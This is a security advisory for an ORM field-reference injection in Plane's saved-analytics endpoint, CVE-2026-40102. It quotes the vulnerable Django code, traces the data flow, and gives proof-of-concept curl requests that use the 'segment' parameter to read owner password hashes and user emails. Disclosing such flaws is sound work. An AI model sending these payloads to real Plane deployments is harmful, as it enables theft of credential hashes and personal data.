Skip to content

ORM Field Reference Injection via `segment` Parameter in Saved Analytics

Moderate
sriramveeraghanta published GHSA-93x3-ghh7-72j3 May 15, 2026

Package

No package listed

Affected versions

< 0.24.0

Patched versions

1.3.1

Description

ORM Field Reference Injection via segment Parameter in Saved Analytics

Validation: Code trace
CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS 3.1: 5.4 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Auth Required: Workspace Member
Environment: Plane 0.24.0

Summary

The SavedAnalyticEndpoint passes the user-controlled segment query parameter directly to Django's F() expression without validation, unlike the regular AnalyticsEndpoint which validates against an allowlist. This allows an authenticated workspace member to extract values from any related database field by abusing Django's field reference resolution in annotated queries.

Vulnerable Code

File: apps/api/plane/app/views/analytic/base.py, line 219

class SavedAnalyticEndpoint(BaseAPIView):
    @allow_permission([ROLE.ADMIN, ROLE.MEMBER])
    def get(self, request, slug, analytic_id):
        # ...
        segment = request.GET.get("segment", False)  # Unvalidated user input
        # Flows to build_graph_plot()

File: apps/api/plane/utils/analytics_plot.py, line 75

def build_graph_plot(queryset, x_axis, y_axis, segment=None):
    # ...
    if segment:
        queryset = queryset.annotate(segment=F(segment))  # F() with attacker input
        queryset = queryset.values("dimension", "segment")
    # ...

Data Flow

  1. Attacker authenticates as workspace MEMBER
  2. Attacker sends: GET /api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=workspace__owner__password
  3. segment = request.GET.get("segment", False) — captures attacker input
  4. Passed to build_graph_plot(queryset, x_axis, y_axis, segment=segment)
  5. F("workspace__owner__password") creates a Django field reference traversing FK relationships
  6. .values("dimension", "segment") — the extracted field value appears in the "segment" key of the response
  7. Response JSON contains the actual values of the referenced field, grouped by dimension

Impact

  • Workspace member can extract the value of ANY related model field
  • Includes sensitive fields: workspace__owner__password (bcrypt hash), API tokens, email addresses
  • The extracted values are returned directly in the API response (not just leaked through ordering)
  • Higher impact than the order_by injection because values are directly readable

PoC

# Extract workspace owner password hashes
curl "https://plane.example.com/api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=workspace__owner__password" \
  -H "Cookie: session=<member-session>"

# Extract user email addresses
curl "https://plane.example.com/api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=assignees__email" \
  -H "Cookie: session=<member-session>"

Contrast with Safe Code

The regular AnalyticsEndpoint at base.py:58 validates segment against valid_xaxis_segment allowlist before passing to build_graph_plot(). The SavedAnalyticEndpoint skips this validation entirely.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-40102

Weaknesses

Improper Neutralization of Special Elements in Data Query Logic

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. Learn more on MITRE.

Credits